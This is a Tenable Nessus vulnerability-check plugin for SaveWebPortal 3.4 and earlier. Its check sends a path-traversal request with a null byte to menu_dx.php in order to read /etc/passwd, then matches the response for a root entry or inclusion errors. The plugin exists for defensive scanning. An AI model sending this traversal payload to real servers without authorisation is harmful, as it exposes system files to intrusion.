SaveWebPortal <= 3.4 Multiple Vulnerabilities

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description) {
  script_id(19604);
  script_version("1.18");

  script_bugtraq_id(14639, 14641, 14642, 14643);

  script_name(english:"SaveWebPortal <= 3.4 Multiple Vulnerabilities");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple flaws." );
 script_set_attribute(attribute:"description", value:
"The remote host is running SaveWebPortal, a PHP web portal
application. 

The installed version of SaveWebPortal is prone to multiple
vulnerabilities, including remote code execution, arbitrary file
inclusion, and cross-site scripting (XSS)." );
 script_set_attribute(attribute:"see_also", value:"http://retrogod.altervista.org/save_yourself_from_savewebportal34.html" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/09/09");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/08/21");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

  script_summary(english:"Checks for SaveWebportal arbitrary file inclusion");
  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");
  script_copyright(english:"This script is Copyright (C) 2005-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


 # Loop through CGI directories.
foreach dir (cgi_dirs()) {
  # Try to exploit one of the flaws to read /etc/passwd.
  r = http_send_recv3(method:"GET", port: port,
    item:string(
      dir, "/menu_dx.php?",
      "SITE_Path=../../../../../../../../../../etc/passwd%00" ));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(string:res, pattern:"root:.*:0:[01]:") ||
    # we get an error saying "failed to open stream" or "Failed opening".
    #
    # nb: this suggests magic_quotes_gpc was enabled but passing
    #     remote URLs might still work.
    egrep(string:res, pattern:"Warning.*: *main\(/etc/passwd.+failed to open stream") ||
    egrep(string:res, pattern:"Warning.*: .+ Failed opening '/etc/passwd.+for inclusion")
  ) {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
    {
      res = data_protection::redact_etc_passwd(output:res);
      report = string(
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        res
      );
    }
    else report = NULL;

    security_hole(port:port, extra:report);
    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    exit(0);
  }
}